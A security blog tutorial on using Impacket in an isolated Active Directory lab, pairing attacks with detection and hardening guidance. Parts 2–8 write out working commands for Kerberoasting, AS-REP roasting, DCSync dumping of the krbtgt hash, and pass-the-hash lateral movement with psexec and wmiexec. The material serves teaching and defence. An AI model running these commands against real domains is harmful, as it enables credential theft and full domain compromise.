packet.zip

Impacket from Scratch: Kerberoasting, DCSync, and Lateral Movement in a Lab

Aamir Lakhani16 min read

If BloodHound is the map of an Active Directory attack, Impacket is the vehicle you drive along it. It is a collection of Python scripts that speak Windows network protocols — SMB, Kerberos, LDAP, MS-RPC, DCOM — fluently enough to do almost anything a real Windows host can do, from a Linux box that was never invited to the domain.

Kerberoast a service account. Dump every password hash in the domain. Get a SYSTEM shell on a server across the network. Relay an authentication you tricked out of someone into full LDAP access. Impacket does all of it, and it is completely free and open source (maintained today by Fortra).

Here is the thing that makes Impacket worth understanding rather than just running: almost none of it is exploiting a bug. It is speaking the protocols correctly. That is exactly why you cannot patch these attacks away — you have to harden and monitor. This article builds a lab, walks the major techniques end to end, and — as always on this blog — spends as much time on catching them as on doing them.

Before we start: the ground rules

You are about to learn techniques that dump domain credentials. Take these seriously.

  • Lab only, unless you have written authorization. Everything here is illegal against systems you do not own or have explicit permission to test. A pentest scope document or a lab you built yourself — those are fine. Nothing else is.
  • Do not connect the lab to a production network. You will deliberately weaken this domain. Keep it isolated.
  • The defensive half is not optional. If you only learn the attacks, you have learned half a skill and the less valuable half. The event IDs in Part 8 are the reason this article exists.
  • Snapshot your VMs first. You will run destructive things. Be able to roll back.

Part 1 — Two ideas that explain every attack here

You do not need to be a Kerberos expert. You need two mental models, and everything downstream follows from them.

Diagram of two concepts: with NTLM the attacker authenticates to a file server using only the NT hash and never needs the plaintext password; with Kerberos any domain user can request a service ticket that is encrypted with the service account's key, which the attacker then cracks offline.
Figure 1 — The two ideas behind everything in this article.

Idea 1: with NTLM, the hash is the credential. When a Windows machine authenticates you over NTLM, it never sends your password — it proves it knows the password's hash via a challenge/response. The practical consequence is brutal: if an attacker steals your NT hash, they can authenticate as you without ever cracking it. This is pass-the-hash, and every Impacket tool accepts -hashes LMHASH:NTHASH anywhere it would take a password.

Idea 2: with Kerberos, service tickets are encrypted with the service account's key. When you want to use a service (a SQL server, say), you ask the Domain Controller for a ticket, and the DC hands you one encrypted with the service account's password-derived key. Any authenticated user can request a ticket for any service. So an attacker requests tickets, takes them offline, and brute-forces the service account's password against them at their leisure. This is Kerberoasting, and there is no lockout and no logging on the cracking part because it happens on the attacker's own machine.

Both are the protocols behaving exactly as designed. Sit with that. It is why the fixes in Part 9 are about configuration and hygiene, not patches.

Part 2 — Build the lab

Lab topology: DC01 Windows Server at 192.168.56.10 running lab.local with a service account that has an SPN and weak passwords, FILE01 domain-joined server at 192.168.56.20 as a lateral movement target, and an ATTACKER Kali box at 192.168.56.30 running Impacket and hashcat, all on an isolated network.
Figure 2 — Three VMs on an isolated network. It is the same domain as the BloodHound lab.

If you built the lab from the BloodHound tutorial, you already have most of this. If not, the short version:

  • DC01 — Windows Server 2022/2025 (free evaluation ISO), promoted to a domain controller for lab.local. Microsoft's Server eval runs 180 days, which is plenty.
  • FILE01 — a second domain-joined Windows box (Server or Windows 10/11 Enterprise eval) to practice lateral movement against.
  • ATTACKER — Kali Linux, where Impacket lives.

Put them on an isolated virtual network and snapshot all three.

Then plant the deliberately weak things this article needs. On DC01:

# a service account with an SPN and a crackable password
New-ADUser -Name svc_sql -SamAccountName svc_sql -ServicePrincipalNames "MSSQLSvc/db01.lab.local:1433" `
  -AccountPassword (ConvertTo-SecureString "Summer2019!" -AsPlainText -Force) -Enabled $true

# make it dangerous: put the service account in Domain Admins (this is sadly common in the wild)
Add-ADGroupMember -Identity "Domain Admins" -Members svc_sql

# an account with Kerberos pre-auth disabled, for AS-REP roasting
New-ADUser -Name svc_legacy -SamAccountName svc_legacy `
  -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity svc_legacy -DoesNotRequirePreAuth $true

# an ordinary user to be your starting foothold
New-ADUser -Name jdoe -SamAccountName jdoe `
  -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true

That gives you a stale-password domain admin service account, a roastable legacy account, and a low-privileged foothold — the three ingredients for the whole article.

Part 3 — Install Impacket (and the naming trap)

There is one thing about installing Impacket that trips up literally everyone once, so let me get it out of the way first.

Terminal showing that on Kali you install impacket-scripts (not just python3-impacket) to get the dash-prefixed commands like impacket-secretsdump and impacket-GetUserSPNs, while a pipx install on other distros gives the classic .py filenames; and noting that on Kali the .py files live under /usr/share/doc/python3-impacket/examples/.
Figure 3 — The command name depends entirely on how you installed it.

On Kali, install the impacket-scripts package — not just python3-impacket. The library package alone only puts five wrappers on your PATH; impacket-scripts adds the other ~56.

sudo apt update
sudo apt install -y impacket-scripts hashcat

The commands are then dash-prefixed and keep their original capitalization: impacket-secretsdump, impacket-GetUserSPNs, impacket-wmiexec. Note that impacket-getuserspns (all lowercase) will not work — case matters, because each command is a symlink named after the original script file.

On any other distro, install from PyPI with pipx (a plain pip install is blocked by PEP 668 on modern systems):

python3 -m pipx install impacket

That gives you the scripts under their original filenames including .py: secretsdump.py, GetUserSPNs.py, wmiexec.py.

So which do you type? The rule that keeps you sane:

The script filename is the tool's real identity. On a pipx/source install you type the filename (GetUserSPNs.py). On Kali you type impacket- plus that filename with .py removed (impacket-GetUserSPNs). Same tool, same arguments, same output.

Every command below is shown in the Kali impacket- form. If you installed with pipx, mentally swap impacket-getuserspnsGetUserSPNs.py and so on.

One more universal convention: Impacket targets are written domain/user:password@host, and the common auth flags are -hashes LMHASH:NTHASH (pass-the-hash), -k -no-pass (use a Kerberos ticket from KRB5CCNAME), and -dc-ip (point at a specific Domain Controller).

Part 4 — Enumerate with a single low-privileged account

Everything starts from one ordinary domain user. You do not need admin to learn an alarming amount.

Terminal output from impacket-GetADUsers listing domain users with password-last-set dates (highlighting svc_sql last changed in 2019), impacket-lookupsid walking the RID space to reveal users and groups, and impacket-rpcdump confirming the DRSUAPI replication interface is exposed.
Figure 4 — Enumeration as any domain user. Note svc_sql's 2019 password.
# every user account, with when each password was last changed
impacket-GetADUsers -all -dc-ip 192.168.56.10 lab.local/jdoe

# walk the RID space to list users and groups
impacket-lookupsid lab.local/jdoe@192.168.56.10

# which RPC interfaces does the DC expose? DRSUAPI = replication = DCSync is possible
impacket-rpcdump 192.168.56.10 | grep -i drsr

The password-last-set column is quietly one of the most useful things here. A service account whose password has not changed since 2019 is almost certainly using a weak, human-chosen password — because if it used a long random one, someone would have had to rotate it, and they clearly did not.

Part 5 — Kerberoasting

Now use Idea 2. Ask the DC for service tickets for every account that has an SPN, and crack them offline.

Terminal running impacket-GetUserSPNs -request, which lists svc_sql (a member of Domain Admins with a 2019 password) and its Kerberos ticket hash, saves it to a file, and then cracks it with hashcat mode 13100 to reveal the password Summer2019!.
Figure 5 — Kerberoasting requires no special privileges; any authenticated user can do it.
impacket-GetUserSPNs -request -dc-ip 192.168.56.10 lab.local/jdoe -outputfile roast.txt

That returns the SPNs, and with -request, the crackable ticket hashes. Then, entirely on your own machine:

hashcat -m 13100 roast.txt /usr/share/wordlists/rockyou.txt

In the lab, svc_sql cracks to Summer2019!. And because we put svc_sql in Domain Admins, that one crack is the whole domain. This is not a contrived scenario — service accounts with SPNs, weak passwords, and excessive privileges are one of the most common paths to domain compromise in real assessments.

The devastating part is that the cracking happens offline. The DC logged that you requested tickets (we will use that in Part 8), but it has no idea you are now grinding them against a wordlist on a laptop with no lockout, no rate limit, and no further logging.

Part 6 — AS-REP roasting

There is an even cheaper cousin. Some accounts have "Do not require Kerberos pre-authentication" set — a legacy compatibility option. For those accounts, you can request authentication data and crack it without any credentials at all.

Terminal running impacket-GetNPUsers against a userlist, skipping accounts that require preauthentication and returning a crackable AS-REP hash for svc_legacy without authenticating, which hashcat mode 18200 then cracks to Password1.
Figure 6 — AS-REP roasting works pre-authentication, so it needs no valid password to start.
# with a username list and no credentials at all:
impacket-GetNPUsers -dc-ip 192.168.56.10 -request -usersfile users.txt -format hashcat lab.local/

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

The catch is that you need to know (or guess) usernames, and only accounts with pre-auth disabled are vulnerable. But when it works, it works before you have authenticated to anything — which is why it is often step one on an internal engagement.

The defender's version of this is a one-line audit, and you should run it today:

Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } | Select Name

That list should be empty. If it is not, each name is an account anyone on your network can start cracking anonymously.

Part 7 — secretsdump: dumping the keys to the kingdom

secretsdump.py is Impacket's crown jewel. It is really three attacks in one tool, at three different trust levels.

Terminal showing three uses of impacket-secretsdump: a DCSync pulling the krbtgt hash from the DC over DRSUAPI, a local SAM and LSA secrets dump from a single host revealing a plaintext service password, and an offline dump from a stolen NTDS.dit and SYSTEM hive.
Figure 7 — One tool, three attacks. The krbtgt hash in the first is the domain's master key.

A) DCSync — if your account has replication rights (Domain Admins do, which is why the Kerberoast mattered), you can ask the DC to replicate secrets to you, exactly as another DC would:

impacket-secretsdump -just-dc-user krbtgt lab.local/svc_sql:'Summer2019!'@192.168.56.10

The krbtgt hash you get back is the domain's master signing key. With it, an attacker forges Golden Tickets — self-issued Kerberos tickets for any user — and can persist in the domain even after every password is reset. Recovering from a krbtgt compromise means rotating that account's password twice, carefully. It is one of the worst things that can happen to an AD.

B) Local SAM + LSA secrets — with local admin on any one machine, dump its local accounts and, crucially, its LSA secrets, which frequently include plaintext service-account passwords the machine has cached:

impacket-secretsdump lab.local/adm_bob@192.168.56.20

This is why "just local admin on one server" is never just anything.

C) Offline — from a stolen NTDS.dit (the AD database) plus the SYSTEM registry hive, dump the entire domain with no network access at all:

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Part 8 — Lateral movement

Once you have a credential — a password, a hash, or a ticket — Impacket gives you several ways to run commands on a remote Windows host. They differ mostly in how much noise they make.

Terminal showing impacket-psexec creating a service and returning a SYSTEM shell, impacket-wmiexec returning a quieter shell as the user with no service or binary dropped, the same wmiexec run with pass-the-hash using only an NT hash, and again with a Kerberos ticket via -k -no-pass.
Figure 8 — Four ways onto a remote host. Note pass-the-hash and Kerberos-ticket auth need no password.
# psexec.py — reliable SYSTEM shell, but the loudest (creates a service, drops a binary)
impacket-psexec lab.local/adm_bob:'P@ssw0rd'@192.168.56.20

# wmiexec.py — no service, no binary on disk; the quiet default for most operators
impacket-wmiexec lab.local/adm_bob:'P@ssw0rd'@192.168.56.20

# pass-the-hash — no password required
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/adm_bob@192.168.56.20

# or with a Kerberos ticket and no secret at all
export KRB5CCNAME=adm_bob.ccache
impacket-wmiexec -k -no-pass lab.local/adm_bob@file01.lab.local

Which one an operator picks is a forensics decision, and understanding the trade-off is what lets you detect the choice:

Comparison table of Impacket execution methods: psexec.py (SMB + new service, runs as SYSTEM, leaves 7045/4697 and a binary), smbexec.py (a service per command, SYSTEM, repeated 7045 and 7009 timeouts), atexec.py (scheduled task, SYSTEM, 4698/4699 and task XML), wmiexec.py (DCOM/WMI, runs as the user, 4688 under WmiPrvSE and an output file on ADMIN$), and dcomexec.py (DCOM objects, the user).
Figure 9 — Convenience versus forensic footprint. Attackers optimize for the bottom rows; make sure you can still see them.

Part 9 — Detecting all of this

This is the half that matters. Every technique above leaves tracks; the job is knowing which event to watch and turning it on before the incident.

Reference of the Windows events that reveal each Impacket technique: psexec 7045/4697/5145 with the misspelled RemCom_communicaton pipe, wmiexec 4688 and WMI 5857, smbexec repeated 7045 plus 7009, atexec 4698, secretsdump DCSync 4662 with AccessMask 0x100 and the replication GUIDs, Kerberoasting 4769 with encryption type 0x17, AS-REP 4768 with preauth type 0, and ntlmrelayx 4624/4776.
Figure 10 — The event IDs that give each technique away. Verify the audit subcategories are enabled first.

psexec.py — a new service (7045 in the System log; 4697 in Security if Audit Security System Extension is on). The service name is four random letters and the binary is eight random letters + .exe. A beautiful high-fidelity tell: the named pipe over IPC$ (event 5145) is \RemCom_communicatonmisspelled in Impacket's own source code (missing an i). Almost nothing legitimate opens a pipe with that exact typo.

wmiexec.py — no service, so no 7045. Instead look for process creation (4688) where the parent is WmiPrvSE.exe, with the unmistakable command line:

cmd.exe /Q /c <command> 1> \\127.0.0.1\ADMIN$\__<epochtime> 2>&1

That \\127.0.0.1\ADMIN$\__<epoch> output redirection is the signature — it is how wmiexec retrieves command output. (4688 records the command line only if the "Include command line in process creation events" policy is enabled — enable it.) The WMI-Activity/Operational log 5857 shows the provider loading. Note: 5860/5861 are WMI persistence events, not wmiexec — do not conflate them, a common blog error.

smbexec.py — creates a new service per command, so you see 7045 repeated and frequently 7009 (service timeout) because of how it works.

atexec.py — a scheduled task: 4698 (task created) in Security, with the full task XML in the event body showing the cmd.exe action, and 4699 when it deletes the task afterward.

secretsdump.py / DCSync — this is the important one. On the DC, event 4662 with:

  • AccessMask = 0x100 (Control Access), and
  • Properties containing the replication extended-right GUIDs:
    • 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2Replicating Directory Changes
    • 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2Replicating Directory Changes All

The high-value triage: legitimate replication only comes from other Domain Controllers. So alert on 4662 with those GUIDs where SubjectUserName does not end in $ (i.e., is not a machine/DC account) — and remember to whitelist your directory-sync service accounts (MSOL_* for Entra Connect syncs legitimately). Correlate with a 4624 Type 3 on the DC from a non-DC source IP.

Verify this in your lab, do not just trust me. Whether the default domain SACL is enough to generate 4662 for DCSync, or whether you must add an explicit SACL, is genuinely ambiguous in Microsoft's own docs. Enable Audit Directory Service Access: Success and confirm the event actually fires in your lab before you rely on it in production.

Kerberoasting — event 4769 (service ticket requested) with Ticket Encryption Type 0x17 (RC4). Legitimate modern tickets are usually AES (0x12), so a burst of 0x17 requests is a strong signal. (Fair warning: Microsoft's own docs contain a contradictory table that maps RC4 to 0x18; the authoritative "Ticket Encryption Type" value for RC4-HMAC is 0x17.)

AS-REP roasting — event 4768 (authentication ticket requested) with Pre-Authentication Type 0.

ntlmrelayx.py — on the relay target, 4624 Type 3 with LogonProcess = NtLmSsp; at the DC, 4776 where the Workstation field is an attacker-chosen name. Also watch the Directory Service log for 2886–2889 (LDAP signing not required) — those are telling you about the gap the relay abuses.

Turn the logging on first. None of this works without it: enable Audit Directory Service Access (4662), Audit Kerberos Service/Authentication (4769/4768), Audit Security System Extension (4697), Audit Process Creation + command line (4688), and forward DC logs somewhere you can query them. If you run Microsoft Defender for Identity, many of these map to built-in detectors (Suspected DCSync — 2006, Security principal reconnaissance — 2038, and the newer xdr_* equivalents).

Part 10 — Defending against it

Detection tells you it happened. These reduce whether it can.

Table mapping each attack to the control that stops it: Kerberoasting to gMSA and disabling RC4, AS-REP roasting to never disabling preauth, pass-the-hash to Windows LAPS and Credential Guard, NTLM relay to required SMB and LDAP signing plus channel binding, DCSync to auditing replication rights, psexec/wmiexec to tiered admin, and credential theft to Protected Users and Remote Credential Guard.
Figure 11 — Each attack maps to a control. Almost none of it is "buy a product."
  • KerberoastinggMSA (Group Managed Service Accounts) give service accounts 240-bit passwords the system rotates automatically, so cracking is hopeless. Where gMSA is not feasible, use 25+ character passwords. And disable RC4 for Kerberos so tickets use AES (test carefully — RC4 removal can break legacy things).
  • AS-REP roasting → never disable Kerberos pre-authentication. Audit for it (the one-liner in Part 6) on a schedule.
  • Pass-the-hashWindows LAPS for unique per-machine local admin passwords, and Credential Guard to keep hashes out of reach of a compromised host. Never reuse local admin passwords across machines.
  • NTLM relay → require SMB signing and LDAP signing + channel binding. Microsoft has been steadily changing these defaults toward "on" in recent Windows releases, but do not assume — verify. The end goal is to retire NTLM entirely.
  • DCSync → audit who holds replication rights (Replicating Directory Changes / ...All). It should be a very short, deliberate list: DCs and your directory-sync account, nothing else.
  • Lateral movement (psexec/wmiexec) → a tiered admin model. Microsoft's current guidance is the Enterprise Access Model (the older "ESAE / Red Forest" design has been retired as a general recommendation). The core rule: a Tier 0 credential must never authenticate to a Tier 1/2 host, because that is what turns one compromised server into domain compromise.
  • Credential theft generally → the Protected Users group, Remote Credential Guard, and restricted admin mode for RDP all reduce what an attacker can harvest from memory.

Notice how little of this is a product purchase. It is identity hygiene and protocol hardening — unglamorous, and far more effective than another endpoint agent.

Part 11 — Tear the lab down

Revert your VM snapshots, or at minimum power the lab off and keep it off any real network. If you cracked real-looking passwords, do not reuse those habits or wordlists carelessly.

Where to go next

  • Run BloodHound against this same domainthe companion tutorial — and watch it draw the exact svc_sql → Domain Admins → DCSync path you just walked by hand. Seeing both views of one domain is where AD security clicks.
  • Practice the detections. Run each technique with Windows auditing on, then go find the event you expected. Half the time you will discover the log was not enabled — which is the real lesson.
  • Try -k Kerberos auth end to endgetTGT.py to request a ticket, then run tools with -k -no-pass. Understanding ticket-based auth is the gateway to the more advanced attacks (delegation abuse, S4U, Golden/Silver tickets).
  • Read the source. Impacket's examples/ directory is one of the best ways to actually learn how these protocols work on the wire. The tools are short and readable.

Further reading


A note on the figures: they are authored illustrations rendered in this site's style, showing the commands and output you should expect at each step, not captures from one specific host. Version strings, generated service names, and hashes in your lab will differ. Tool behavior and Windows event details change between releases — the linked official documentation wins over any tutorial, including this one. A few detection signatures shown here (for example the exact artifacts of some execution methods) can vary by Impacket version; confirm against the version you are running before building alerts on them.

Aamir Lakhani

Founder · Packet.Zip

Aamir Lakhani is a leading senior security strategist responsible for providing IT security solutions to major enterprises and government organizations. He creates technical security strategies and leads security implementation projects for

~/related

Keep digging

More research along the same attack path.